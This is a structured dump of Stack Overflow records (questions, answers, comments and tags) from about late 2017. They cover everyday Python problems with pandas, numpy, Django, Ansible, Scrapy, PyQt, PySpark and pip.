comment on: http://stackoverflow.com/a/47054041
has text: @KaissB, it's the model name which you should change it to yours. I edited the code. Should work now.
type: AnswerComment

http://stackoverflow.com/a/46960831
has body: One way is to convert the regex into vanilla lists e.g. with string manipulation: In [11]: {id_: "|".join(ls).replace("(", "").replace(")", "").split("|") for id_, ls in myDict.items()} Out[11]: {'ID_1': ['dog', 'cat', 'horse', 'car', 'house', 'apples', 'bird', 'tree', 'panda'], 'ID_2': ['horse', 'building', 'computer', 'panda', 'lion'], 'ID_3': ['wagon', 'tiger', 'cat'], 'ID_4': ['dog']} You can make this into a DataFrame: In [12]: from collections import Counter In [13]: pd.DataFrame({id_:Counter( "|".join(ls).replace("(", "").replace(")", "").split("|") ) for id_, ls in myDict.items()}).fillna(0).astype(int) Out[13]: ID_1 ID_2 ID_3 ID_4 apples 1 0 0 0 bird 1 0 0 0 building 0 1 0 0 car 1 0 0 0 cat 1 0 1 0 computer 0 1 0 0 dog 1 0 0 1 horse 1 1 0 0 house 1 0 0 0 lion 0 1 0 0 panda 1 1 0 0 tiger 0 0 1 0 tree 1 0 0 0 wagon 0 0 1 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46960619
has comment: http://stackoverflow.com/comment/80869202
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/80869286

http://stackoverflow.com/comment/80964203
has text: @Marcin You're welcome. They're certainly useful constructs to keep in mind, and can drastically shorten your code. I find myself using them all the time. You can use it anywhere in fact, not just in return statements. Assignments, conditionals, and so on.
comment on: http://stackoverflow.com/a/47007761
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47230061
score: 2
has body: Try using virtual environments. $ virtualenv -p python3 `/path/to/venv/dir` $ . `/path/to/venv/dir/bin/activate` (venv) $ # indicates virtual env is configured (venv) $ which pip python3 (venv) $ pip install whatever (venv) $ python3 script.py
downvote count: 0
answers question: http://stackoverflow.com/q/47043711
type: Answer
upvote count: 2

http://stackoverflow.com/q/47056575
has body: I am trying include_vars in a playbook, But i want to exclude one file and include rest of them. Tried ignore_files: 'b.yml' But it is not loading any files, when removed its including all files. # tree . ├── myvars │ ├── a.yml │ └── b.yml └── test.yml 1 directory, 3 files # cat test.yml --- - hosts: all tasks: - include_vars: dir: 'myvars' ignore_files: 'b.yml' extensions: ['yml'] - debug: msg: "{{ name }}" # cat myvars/a.yml --- name: IronMan # see the include vars output, none of the file is loaded. # ansible-playbook test.yml -i "localhost," -c local -vv PLAYBOOK: test.yml *************************************************************************************************************************** 1 plays in test.yml PLAY [all] *********************************************************************************************************************************** TASK [Gathering Facts] *********************************************************************************************************************** ok: [localhost] META: ran handlers TASK [include_vars] ************************************************************************************************************************** task path: /root/test.yml:4 ok: [localhost] =&gt; {"ansible_facts": {}, "ansible_included_var_files": [], "changed": false, "failed": false} TASK [debug] ********************************************************************************************************************************* task path: /root/test.yml:9 fatal: [localhost]: FAILED! =&gt; {"msg": "The task includes an option with an undefined variable. The error was: 'name' is undefined\n\nThe error appears to have been in '/root/test.yml': line 9, column 7, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\n - debug:\n ^ here\n\nexception type: &lt;class 'ansible.errors.AnsibleUndefinedVariable'&gt;\nexception: 'name' is undefined"} to retry, use: --limit @/root/test.retry PLAY …
answer count: 1
has comment: http://stackoverflow.com/comment/81067585
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: ansible
accepted answer: http://stackoverflow.com/a/47057631
has title: ansible include_vars issue with ignore_files
has answer: http://stackoverflow.com/a/47057631
type: Question

http://stackoverflow.com/q/46951527
tagged with: web-scraping
tagged with: python
tagged with: scrapy
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46959844
accepted answer: http://stackoverflow.com/a/46957337
score: 1
has answer: http://stackoverflow.com/a/46957337
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46959844
has body: I want to scrapy the table of this page, but the scrapped data is only in one column, and in some case the data doesn't appear. Also I use the shell to see if the Xpath is correct (I use the Xpath helper to identify these xpath) import scrapy class ToScrapeSpiderXPath(scrapy.Spider): name = 'scrape-xpath' start_urls = [ 'http://explorer.eu/contents/food/28?utf8=/', ] def parse(self, response): for flv in response.xpath('//html/body/main/div[4]'): yield { 'Titulo': flv.xpath('//*@id="chromatography"]/table/tbody/tr[3]/th/strong/a/text()"]/tbody/tr[5]/td[3]/a[2]').extract(), 'contenido': flv.xpath('//*@id="chromatography"]/table/tbody/tr[5]/td[3]/a[2]/text()').extract(), 'clase': flv.xpath('//*[@id="chromatography"]/table/tbody/tr[5]/td[1]/text()').extract(), 'Subclase': flv.xpath('//*[@id="chromatography"]/table/tbody/tr[5]/td[2]/a/text').extract(), }
answer count: 2
downvote count: 0
has title: Scrapy Table column and rows doesn't work
upvote count: 1

http://stackoverflow.com/a/46985363
has comment: http://stackoverflow.com/comment/80918626
has comment: http://stackoverflow.com/comment/80928812
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/46985240
downvote count: 0
has comment: http://stackoverflow.com/comment/80929419
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80918599
has comment: http://stackoverflow.com/comment/80929469
accepted answer of: http://stackoverflow.com/q/46985240
has body: Your header has a different separator (|) than for the rows. So we first need to skip the header and then give the columns names (trash,x,f). Then use scipy's fft to get the discrete variant: import numpy as np from scipy.fftpack import fft df = np.genfromtxt('testfft.dat', skip_header=1, names=['trash','x','f'], delimiter=',') print(fft(df['f'])) [ 0.327+0.j -0.069+0.j] You can find documentation here: FFT
type: Answer

deep-learning
tags question: http://stackoverflow.com/q/47021022
tags question: http://stackoverflow.com/q/46909787
tags question: http://stackoverflow.com/q/46941747
tags question: http://stackoverflow.com/q/46929887
tags question: http://stackoverflow.com/q/46970271
tags question: http://stackoverflow.com/q/46984926
tags question: http://stackoverflow.com/q/46966148
tags question: http://stackoverflow.com/q/47009560
tags question: http://stackoverflow.com/q/46977856
tags question: http://stackoverflow.com/q/46913748
tags question: http://stackoverflow.com/q/47022925
tags question: http://stackoverflow.com/q/47034892
tags question: http://stackoverflow.com/q/46992208
tags question: http://stackoverflow.com/q/46946204
tags question: http://stackoverflow.com/q/46994409
tags question: http://stackoverflow.com/q/47058909
tags question: http://stackoverflow.com/q/46921513
type: Tag
tags question: http://stackoverflow.com/q/47049853
tags question: http://stackoverflow.com/q/46909217
tags question: http://stackoverflow.com/q/46995209
tags question: http://stackoverflow.com/q/46954333
tags question: http://stackoverflow.com/q/46970872
tags question: http://stackoverflow.com/q/47012392
tags question: http://stackoverflow.com/q/47056814
tags question: http://stackoverflow.com/q/47035367
tags question: http://stackoverflow.com/q/46971808
tags question: http://stackoverflow.com/q/47035862
tags question: http://stackoverflow.com/q/47021810
tag name: deep-learning
tags question: http://stackoverflow.com/q/46966865
tags question: http://stackoverflow.com/q/47028242
tags question: http://stackoverflow.com/q/47025036
tags question: http://stackoverflow.com/q/46975875
tags question: http://stackoverflow.com/q/47064178
tags question: http://stackoverflow.com/q/47060869
tags question: http://stackoverflow.com/q/46991820
tags question: http://stackoverflow.com/q/47017880

http://stackoverflow.com/comment/81019969
comment on: http://stackoverflow.com/a/47036743
type: AnswerComment
has text: @Stefan, thanks for pointing that out. I've fixed it by passing in the `int` datatype explicitly.
score: 0
type: Comment

http://stackoverflow.com/comment/80824143
type: QuestionComment
comment on: http://stackoverflow.com/q/46938492
score: 0
has text: https://pythex.org/
type: Comment

http://stackoverflow.com/a/47041310
type: Answer
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81049641
has body: @Joe Iddon's answer will work, but if you want to avoid loops, you can do something like this: diff = np.diff(lon) drops = np.flatnonzero(diff &lt; 0) if len(drops) &gt; 0: # Only do this if there is a wrap around end_index = drops[0] + 1 lon = lon[:end_index] And you can then use end_index to slice other matching arrays too (e.g. latitude). Note that this doesn't do any fixing for values outside of [0..360] - you'll have to do that separately, depending on how you want to deal with them. Update for new requirement: assert len(lon) &gt; 0 above_first = (lon &gt;= lon[0]).astype(int) diffs = np.diff(above_first) overlap_indices = np.flatnonzero(diffs &gt; 0) if len(overlap_indices) &gt; 0: end_index = overlap_indices[0] + 1 lon = lon[:end_index] This will work even if the overlap wraps around multiple times.
answers question: http://stackoverflow.com/q/47040884
has comment: http://stackoverflow.com/comment/81032860

http://stackoverflow.com/q/46957362
has body: There is a 'league_type' field in my form and I want to make it readonly. I used widget.attr['readonly'] = True but it doesn't work. The model: class League(models.Model): league_types = ( ('league', 'League'), ('knockout', 'Knockout'), ) .... season = models.ForeignKey(Season, related_name = "league_season") league_type = models.CharField(max_length=10, choices = league_types, default ='league') ... The ModelForm: class LeagueForm(forms.ModelForm): class Meta: model = League fields = ('title', 'league_type', 'season', 'status') widgets = {'season':forms.HiddenInput(),} view.py: if League.objects.filter(season = season, league_type = 'knockout').count(): form = LeagueForm(initial={'season': season, 'league_type': 'league'}) form.fields['league_type'].widget.attrs['readonly'] = True else: form = LeagueForm(initial={'season': season}) Update: I cannot use disabled attribute because I'm going to create a form with league_type initial value.
answer count: 0
tagged with: modelform
has comment: http://stackoverflow.com/comment/80881076
type: UnansweredQuestion
downvote count: 0
tagged with: django
linked to: http://stackoverflow.com/q/324477
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80863141
has comment: http://stackoverflow.com/comment/80862202
score: 1
has comment: http://stackoverflow.com/comment/80863315
tagged with: python
has title: Django: 'readonly' attribute doesn't work on my ModelForm
tagged with: django-forms

http://stackoverflow.com/comment/81022047
comment on: http://stackoverflow.com/q/47037743
type: Comment
type: QuestionComment
has text: Why do you think you need "macro functionality" here? Why couldn't you use normal variables for `english` and `roman`? (Although note your roman dictionary is not valid Python in either version.)
score: 1

http://stackoverflow.com/q/47006861
accepted answer: http://stackoverflow.com/a/47007190
has comment: http://stackoverflow.com/comment/80960366
tagged with: python
has body: I'm launching a worker process using Python's multiprocessing. I need to be able to update an array in the subprocess that can be seen in the parent process. I use multiprocessing.Manager() to accomplish that. a = multiprocessing.Manager().Array('f', [0,0]) a &lt;ArrayProxy object, typeid 'Array' at 0x7f4e2b4eeda0&gt; a.value Traceback (most recent call last): File "&lt;blender_console&gt;", line 1, in &lt;module&gt; AttributeError: 'ArrayProxy' object has no attribute 'value' When I create a Value('f', 0.0) I can operate on it this way. When I look at dir(a) I don't see any obvious functions or attributes to call, and the documentation in python is really fuzzy about this point.
has answer: http://stackoverflow.com/a/47007190
has title: How to work with a multiprocessing.Manager() Array in python
favorite count: 0
tagged with: python-multiprocessing
answer count: 2
has answer: http://stackoverflow.com/a/47007036
has comment: http://stackoverflow.com/comment/80960390
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80960468
type: Question
possible better answer: http://stackoverflow.com/a/47007036
type: AnsweredQuestion

http://stackoverflow.com/comment/80817554
has text: `len("immutable")==9` => `True`. Now play with the slicing
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/46935156
type: Comment

dbus
type: Tag
tag name: dbus
tags question: http://stackoverflow.com/q/46915488

http://stackoverflow.com/a/46970657
type: Answer
has comment: http://stackoverflow.com/comment/80889881
has comment: http://stackoverflow.com/comment/80889901
has comment: http://stackoverflow.com/comment/80922533
has comment: http://stackoverflow.com/comment/130437782
has comment: http://stackoverflow.com/comment/80920555
has body: You can use apply with axis=1 for process by rows and filter by convert values to bool - 0 is False, not 0 is True: df = df.apply(lambda x: x.index[x.astype(bool)].tolist(), 1) print (df) u1 [B, C] u2 [A, C] u3 [A] dtype: object If output should be strings: s = np.where(df, ['{}, '.format(x) for x in df.columns], '') df = pd.Series([''.join(x).strip(', ') for x in s], index=df.index) print (df) u1 B, C u2 A, C u3 A dtype: object Detail: print (s) [['' 'B, ' 'C, '] ['A, ' '' 'C, '] ['A, ' '' '']]
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80920554
has comment: http://stackoverflow.com/comment/80920544
accepted answer of: http://stackoverflow.com/q/46970557
has comment: http://stackoverflow.com/comment/80889711
has comment: http://stackoverflow.com/comment/104483622
has comment: http://stackoverflow.com/comment/80920480
answers question: http://stackoverflow.com/q/46970557
has comment: http://stackoverflow.com/comment/80890704
downvote count: 0
score: 7
upvote count: 7

http://stackoverflow.com/q/46922092
has title: http response code followed by a number
type: AnsweredQuestion
upvote count: 0
accepted answer: http://stackoverflow.com/a/46922120
downvote count: 1
answer count: 1
tagged with: python-requests
tagged with: http
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/9234699
has comment: http://stackoverflow.com/comment/80791548
has answer: http://stackoverflow.com/a/46922120
has comment: http://stackoverflow.com/comment/80791993
has body: I have a python bottle framework webservice that is running on my localmachine. It is working fine but when I see the console, I see a number followed by the response status code. In the below line what is the number 166 followed by 200. 127.0.0.1 - - [24/Oct/2017 17:34:50] "POST /tensorservice HTTP/1.1" 200 166
tagged with: python
score: -1

http://stackoverflow.com/a/46934368
answers question: http://stackoverflow.com/q/46934277
type: Answer
has body: &gt;&gt;&gt; re.findall(r'\[Connectivity\]\s+(\d{2}\.\d{2} \d{2}:\d{2}:\d{2})\s+\[REGISTERED]', line, re.MULTILINE) ['07.07 11:35:08', '07.07 17:20:22', '07.07 19:10:29']
score: 0

http://stackoverflow.com/comment/81055592
comment on: http://stackoverflow.com/q/47015131
score: 0
has text: I did added the logs but could not find any error coming from it.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46998657
has comment: http://stackoverflow.com/comment/80944558
has body: I am quite new to python/PyQt so diving into the deep end with a worker thread. I have code as below that I use to run functions on a worker thread, leaving the main thread free. My worker thread looks as below: from PyQt4 import QtCore class my_worker_thread(QtCore.QThread): ''' a worker thread ''' def __init__(self,function, *args, **kwargs): QtCore.QThread.__init__(self) self.exiting=False self.function=function self.args=args self.kwargs=kwargs def __del__(self): self.exiting=True self.wait() def run(self): self.function(*self.args,**self.kwargs) return In this case I am spawning many,many workers to process files(about 1000 txt files) the main thread reads single parent file which lists all the files that need to be read. for each line in the parent file I spawn a worker thread, so that the file can be processed by the worker. The parent may have the same file in more than one line, so a worker may have to process a file more than once. The calling logic is like so: def main_caller(self): #For each line in parent file spawn a thread to process the file for line in parent_file: process_file=my_worker_thread(self.get_file_information,line) process_file.start() So far it kind of works, but I do get the following error, which crashes the program QThread:Thread has to wait on itself QThread:Destoryed while thread is still running I want to understand what I am doing wrong. Firstly how do I get the worker thread to exit safely once it has finished its work? When does the del function in the worker get called? Should I not have an exit() somewhere? or a quit() exit worker now that all the work has been done worker.exit() I am not sure that the thread is being cleanly terminated, I would appreciate any suggestions on how to use a generic worker that accepts any simple function, execute the function, return and stop cleanly I am using PyQt4 on Windows if that makes a difference.
has comment: http://stackoverflow.com/comment/80944451
type: Question
linked to: http://stackoverflow.com/q/14156025
answer count: 0
type: UnansweredQuestion
tagged with: multithreading
tagged with: pyqt4
linked to: http://stackoverflow.com/q/46919233
has comment: http://stackoverflow.com/comment/80944277
tagged with: python
has title: PyQt Qthread destroyed while still running, correct way to exit
has comment: http://stackoverflow.com/comment/80944156
score: 0

http://stackoverflow.com/q/46944493
tagged with: python
answer count: 10
has comment: http://stackoverflow.com/comment/96687706
has answer: http://stackoverflow.com/a/72245333
score: 112
linked to: http://stackoverflow.com/q/39758045
has answer: http://stackoverflow.com/a/57400211
type: UnansweredQuestion
upvote count: 112
downvote count: 0
has body: When you join two DFs with similar column names: df = df1.join(df2, df1['id'] == df2['id']) Join works fine but you can't call the id column because it is ambiguous and you would get the following exception: pyspark.sql.utils.AnalysisException: "Reference 'id' is ambiguous, could be: id#5691, id#5918.;" This makes id not usable anymore... The following function solves the problem: def join(df1, df2, cond, how='left'): df = df1.join(df2, cond, how=how) repeated_columns = [c for c in df1.columns if c in df2.columns] for col in repeated_columns: df = df.drop(df2[col]) return df What I don't like about it is that I have to iterate over the column names and delete them why by one. This looks really clunky... Do you know of any other solution that will either join and remove duplicates more elegantly or delete multiple columns without iterating over each of them?
favorite count: 0
has answer: http://stackoverflow.com/a/46945064
type: Question
has answer: http://stackoverflow.com/a/58405654
has answer: http://stackoverflow.com/a/54247235
tagged with: apache-spark-sql
has title: Removing duplicate columns after a DF join in Spark
has answer: http://stackoverflow.com/a/46944559
tagged with: apache-spark
has answer: http://stackoverflow.com/a/60330537
has answer: http://stackoverflow.com/a/72954768
tagged with: pyspark
has answer: http://stackoverflow.com/a/69393686
linked to: http://stackoverflow.com/q/35258506
has answer: http://stackoverflow.com/a/72690835

http://stackoverflow.com/comment/80976312
comment on: http://stackoverflow.com/a/47014660
type: Comment
type: AnswerComment
has text: FYI, `join`s are more efficient with lists, i.e. `''.join([i for i in garbled if i != 'X'])` but I can't find the post right now.
score: 1

http://stackoverflow.com/q/47034400
has title: File Handling, Writing, Reading
type: Question
score: 0
tagged with: file
has body: I stumbled across an issue of file handling, second line gives you an value of 9 for no reason, third line gives an Error io.UnsupportedOperation: not readable c = open("Test.txt", "w+") c.write("Hey there") content = c.read() c.close print (content) How can I solve this ?
has answer: http://stackoverflow.com/a/47034459
type: AnsweredQuestion
tagged with: error-handling
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/81030539
accepted answer: http://stackoverflow.com/a/47034459

http://stackoverflow.com/comment/80943638
type: Comment
comment on: http://stackoverflow.com/q/46998380
type: QuestionComment
score: 0
has text: @Rawing The problem with that is that there are so many files attached onto main.py - I can add it however I don't know if that will make things any easier.

teradata
type: Tag
tags question: http://stackoverflow.com/q/46922669
tag name: teradata

memory-leaks
tags question: http://stackoverflow.com/q/46924974
tags question: http://stackoverflow.com/q/46962144
tag name: memory-leaks
tags question: http://stackoverflow.com/q/47001112
tags question: http://stackoverflow.com/q/46960427
tags question: http://stackoverflow.com/q/46961428
tags question: http://stackoverflow.com/q/47062726
type: Tag
tags question: http://stackoverflow.com/q/46932351

http://stackoverflow.com/q/47063835
favorite count: 0
accepted answer: http://stackoverflow.com/a/47063981
type: Question
has answer: http://stackoverflow.com/a/47063981
tagged with: django
tagged with: python
tagged with: module
type: AnsweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
score: 1
has title: ModuleNotFoundError: No module named 'my_app'
has body: I am trying to make a custom manager that will run a function from another file in a sibling directory, but this error keeps popping up. I have tried: 1) Adding the module to my PYTHONPATH. 2) Adding init.py files. 3) Appending the module to sys.path. I am using Python3 and Django. /app --- /managers -------/manager.py &lt;--- /*importing code here*/ --- /my_app -------/request.py &lt;--- /*code to be imported*/ None of these have worked.

http://stackoverflow.com/comment/80959914
type: QuestionComment
comment on: http://stackoverflow.com/q/47005990
has text: hi@Wen, I use pivot_table to fill value '0' in 'days', but I tried to get the dataframe closer to the real situation. So I try to fill None in them depends on every user if 'days' are not in every range of Start and End date. Some users have multiple Start and End dates.
score: 0
type: Comment

http://stackoverflow.com/comment/81113963
type: Comment
type: QuestionComment
score: 0
has text: Yes.. I hadn't thought about doing that although now you've mentioned it I'll try.
comment on: http://stackoverflow.com/q/47064225

http://stackoverflow.com/q/47031190
has comment: http://stackoverflow.com/comment/81082974
has comment: http://stackoverflow.com/comment/81009019
has comment: http://stackoverflow.com/comment/81083024
has comment: http://stackoverflow.com/comment/81008905
type: AnsweredQuestion
tagged with: python-2.7
has title: update a table in mysql if the current value is greater than existing minimum value if not ignore that update
has comment: http://stackoverflow.com/comment/81008987
score: 0
answer count: 1
tagged with: mysql-python
tagged with: mysql
type: Question
accepted answer: http://stackoverflow.com/a/47070270
has body: consider a table name testing with following attributes +-------+------------+---------------------------+----------+ | id | test_case | file_name | coverage | +-------+------------+---------------------------+----------+ | 8645 | test case1 | /vendor/src/kmod/vendor.c | 32 | | 12456 | test case4 | /vendor/src/kmod/vendor.c | 28 | | 20258 | test case3 | /vendor/src/kmod/vendor.c | 30 | +-------+------------+---------------------------+----------+ As in this table when every new insert into table comes it has to check whether new coverage value is greater than min coverage value of existing if that is true ,i need to update new entry with existing min coverage value so that i can keep only top 3 highest coverage value in table. consider a new entry has came with coverage= 29 as it is greater than min(coverage)=28 then i need to update coverage value with 29 and test case name. using python-mysql i am doing so please let me know python mysql query/code to do this following above. I am inserting values to table from a list using python for x,y in zip(out2,out4): cur.execute("insert into testing(test_case,file_name,coverage) values('test case8',%s,%s) on duplicate file_name like "%s" update coverage=case when values(coverage) then values(coverage) else coverage end",(x,y,x)) db.commit() so whenever new value comes it has to check with min(coverage) value .if new value is greater than existing min(coverage) it has to update or else it need to ignore that loop
has answer: http://stackoverflow.com/a/47070270
tagged with: database
tagged with: python

http://stackoverflow.com/q/47021810
answer count: 1
downvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
has body: I am attempting to replicate this image from a research paper. In the image, the orange arrow indicates a shortcut using residual learning and the layer outlined in red indicates a dilated convolution. In the code below, r5 is the result of the relu seen in the image. I have excluded the code between the relu and the dilation layer for simplicity. In tensorflow, how would I properly combine the result of the relu and dilated convolution to execute the residual shortcut? #relu layer r5 = tf.nn.relu(layer5) ... #dilation layer h_conv4 = conv3d_dilation(concat1, 1154)
upvote count: 4
accepted answer: http://stackoverflow.com/a/47024341
linked to: http://stackoverflow.com/q/46121283
has answer: http://stackoverflow.com/a/47024341
has title: Residual learning in tensorflow
tagged with: deep-residual-networks
tagged with: python
type: AnsweredQuestion
score: 3
tagged with: conv-neural-network
tagged with: deep-learning

http://stackoverflow.com/q/47025007
has answer: http://stackoverflow.com/a/48562823
tagged with: django
tagged with: python
type: AnsweredQuestion
tagged with: oauth-2.0
downvote count: 0
answer count: 1
score: 7
upvote count: 7
tagged with: django-rest-framework
has body: I'm creating a single sign-on (SSO) service using Python, Django, Django Rest Framework and Django OAuth Toolkit (https://github.com/evonove/django-oauth-toolkit). The SSO service will be a central, stand-alone application providing user identity services (granting access to user information as an OAuth2 Protected Resource). Django OAuth Toolkit helps to implement the OAuth2 Authorisation Server. Is there a similarly good quality Django or Python library that can help in implementing the OAuth2 Client (see following diagram snippet taken from https://www.rfc-editor.org/rfc/rfc6749#section-1.2)? +--------+ +---------------+ | |--(A)- Authorization Request -&gt;| Resource | | | | Owner | | |&lt;-(B)-- Authorization Grant ---| | | | +---------------+ | | | | +---------------+ | |--(C)-- Authorization Grant --&gt;| Authorization | | Client | | Server | | |&lt;-(D)----- Access Token -------| | | | +---------------+ | | | | +---------------+ | |--(E)----- Access Token ------&gt;| Resource | | | | Server | | |&lt;-(F)--- Protected Resource ---| | +--------+ +---------------+ (I expect the main use case wouldn't be a problem to implement myself, but if a good library provides handling of corner cases, errors, retries and is well tested, then it would be a shame to reinvent.) Thanks, Paul.
favorite count: 0
type: Question
tagged with: single-sign-on
has title: OAuth2 Client (Python/Django)
accepted answer: http://stackoverflow.com/a/48562823

http://stackoverflow.com/comment/81060747
score: 0
has text: I asked read_excel not read_csv. Now I don't understand the answer. Both don't support this or one of them does. I'm reading from an excel...
comment on: http://stackoverflow.com/q/47056701
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80853695
score: 0
type: Comment
has text: Do you mind show me the code which the random number can be generated from `scipy.stats` ?
type: AnswerComment
comment on: http://stackoverflow.com/a/46953322

http://stackoverflow.com/q/47061792
type: UnansweredQuestion
has title: Generate report of Linux CPU info per core using top
answer count: 1
type: Question
tagged with: linux
has comment: http://stackoverflow.com/comment/81071896
has comment: http://stackoverflow.com/comment/81071850
has answer: http://stackoverflow.com/a/47061983
tagged with: python
has body: I'm writing a python script that generates a text file report of CPU usage per core. Really, what I want is the information that top provides once you type 1. However, optimally this would be returned to the terminal (just like running top -b) so I can grep etc. Is there a way of getting this information, either with top or another command, in a format that I can then grep and handle within my python script. Thanks very much!
has comment: http://stackoverflow.com/comment/81071783
score: 0

http://stackoverflow.com/a/46920003
type: Answer
has body: I don't see any problem with the len function, I have seen below in the documentation, please see this, it is not obvious to say with out looking at your data, hence sharing this info. Null characters (‘x00’) raise a TypeError. Both Unicode and char (byte) strings are accepted. For Unicode strings only UCS-2 characters (‘u0001’ to ‘uFFFF’) are recognized. Anything greater raises a UnicodeError. See this link for more info https://www.pygame.org/docs/ref/font.html One more thing I also suspect casting "str(pos, i) ", because I tried below lines to rule out the root cause and ended up having error " print(str(pos, i)) TypeError: coercing to str: need a bytes-like object, int found" i ='Some text' pos =2 print(str(pos, i))
has comment: http://stackoverflow.com/comment/80788014
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46919750

calibration
tags question: http://stackoverflow.com/q/47001870
tag name: calibration
type: Tag

http://stackoverflow.com/q/46968959
accepted answer: http://stackoverflow.com/a/46972414
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46972414
has title: pip fails to find any packages from requirements.txt
tagged with: pypi
favorite count: 0
type: Question
upvote count: 2
tagged with: package
downvote count: 0
answer count: 1
tagged with: pip
tagged with: python
tagged with: requirements.txt
has body: I have a requirements.txt file with following packages listed: appdirs==1.4.3 APScheduler==3.3.1 asn1crypto==0.22.0 bcrypt==3.1.3 boto3==1.4.4 botocore==1.5.72 When I do a pip install -q -U -r requirements.txt; I receive following error: Could not find a version that satisfies the requirement appdirs==1.4.3 (from -r requirements.txt (line 1)) (from versions: ) No matching distribution found for appdirs==1.4.3 (from -r requirements.txt (line 1)) But, the following works: $ pip install appdirs Collecting appdirs Downloading appdirs-1.4.3-py2.py3-none-any.whl Installing collected packages: appdirs Successfully installed appdirs-1.4.3 Once I had manually installed appdirs, I tried running from requirements again: $ pip install -q -U -r requirements.txt Could not find a version that satisfies the requirement APScheduler==3.3.1 (from -r requirements.txt (line 2)) (from versions: ) No matching distribution found for APScheduler==3.3.1 (from -r requirements.txt (line 2)) I tried specifying the exact version for the next command now: $ pip install APScheduler==3.3.1 Collecting APScheduler==3.3.1 Downloading APScheduler-3.3.1-py2.py3-none-any.whl (56kB) 100% |████████████████████████████████| 61kB 2.8MB/s Collecting tzlocal&gt;=1.2 (from APScheduler==3.3.1) Downloading tzlocal-1.4.tar.gz Collecting funcsigs; python_version == "2.7" (from APScheduler==3.3.1) Downloading funcsigs-1.0.2-py2.py3-none-any.whl Collecting six&gt;=1.4.0 (from APScheduler==3.3.1) Downloading six-1.11.0-py2.py3-none-any.whl Collecting pytz (from APScheduler==3.3.1) Downloading pytz-2017.2-py2.py3-none-any.whl (484kB) 100% |████████████████████████████████| 491kB 2.2MB/s Requirement already satisfied: setuptools&gt;=0.7 in ./.env/lib/python2.7/site-packages (from APScheduler==3.3.1) Collecting futures; python_version == "2.7" (from APScheduler==3.3.1) Downloading futures-3.1.1-py2-none-any.whl Building wheels for collected packages: tzlocal Running setup.py bdist_wheel for tzlocal ... done Stored in dir…

http://stackoverflow.com/comment/80982027
comment on: http://stackoverflow.com/a/47010416
type: Comment
has text: @PythonEnthusiast: Following the [Core arguments](http://www.django-rest-framework.org/api-guide/fields/#core-arguments) article, Using **value** arg is maybe not the standard way.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81027002
has text: You have a very strange install of Python. Not only is tkinter supposed to come with python for windows, but it usually installs to a different place too. I recommend you wipe python from your computer and reinstall it. If you will be using a lot of scientific packages install something like Anaconda which includes many popular packages like matplotlib.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47038887

http://stackoverflow.com/comment/81081002
score: 1
type: Comment
has text: That’s right, I’m trying to load it into memory to run an sklearn model on it. The database I’m getting it from outputs this huge .tsv which is why I have this issue. You’re right that converting it to another format (hdf, parquet, feather, etc) is probably best, I just wanted to keep the pipeline as simple as possible. Sidenote: reading it to R with data.table, writing it to feather, then reading the feather into Python took ~12 mins total, compared to ~30 mins just using pd.read_csv straight to Python. That’s crazy to me.
type: QuestionComment
comment on: http://stackoverflow.com/q/47042399

http://stackoverflow.com/a/47064156
has comment: http://stackoverflow.com/comment/81076527
type: Answer
downvote count: 0
upvote count: 1
score: 1
has body: Yes. You can. def is_palindrome(a_string): if a_string == a_string[::-1]: return True return False Or simpler: def is_a_palindrome(a_string): return a_string == a_string[::-1]
has comment: http://stackoverflow.com/comment/81076543
answers question: http://stackoverflow.com/q/47064096

http://stackoverflow.com/comment/80934718
type: Comment
comment on: http://stackoverflow.com/q/46994070
has text: Yes, I am trying to store the inner lists into separate varibles. I decided to use a for loop in my program to count the number of lists within a list and separate them.
score: 0
type: QuestionComment

dask
tags question: http://stackoverflow.com/q/46927174
type: Tag
tags question: http://stackoverflow.com/q/46923274
tags question: http://stackoverflow.com/q/46957961
tags question: http://stackoverflow.com/q/46942622
tags question: http://stackoverflow.com/q/46911220
tag name: dask
tags question: http://stackoverflow.com/q/46971219
tags question: http://stackoverflow.com/q/46956340

http://stackoverflow.com/q/46985360
favorite count: 0
has answer: http://stackoverflow.com/a/46985512
type: Question
has answer: http://stackoverflow.com/a/46985413
has comment: http://stackoverflow.com/comment/80918283
tagged with: python
tagged with: optimization
tagged with: generator
type: AnsweredQuestion
score: 0
has body: I use the following code to iterate over the upper triangular portion of a matrix in parallel, but I would prefer to do this without instantiating the entire set of index pairs. The goal is to process all items in the upper triangular portion of the matrix, but to parallelize that processing. Also note that I'm fine using 3rd party libraries (numpy, etc.) if they have some tool to help with this. n_processes = 4 n = 1000 # num cols/rows in matrix pairs = [(i, j) for i, j in itertools.combinations(xrange(n), 2)] per_chunk = int(round(len(pairs) / float(n_processes))) pair_chunks = [pairs[i*per_chunk:i*per_chunk+per_chunk] for i in xrange(n_processes)] p = multiprocessing.Process(target=process_pairs, args=pair_chunks[0]) p = multiprocessing.Process(target=process_pairs, args=pair_chunks[1]) p = multiprocessing.Process(target=process_pairs, args=pair_chunks[2]) p = multiprocessing.Process(target=process_pairs, args=pair_chunks[3]) def process_pairs(cur_pairs): for i, j in pairs: # do some stuff Any clever thoughts on representing this as a generator (i.e., without generating all the index pairs)? As is, pairs needs to be loaded into memory, and if n is very large, that's a hit to memory 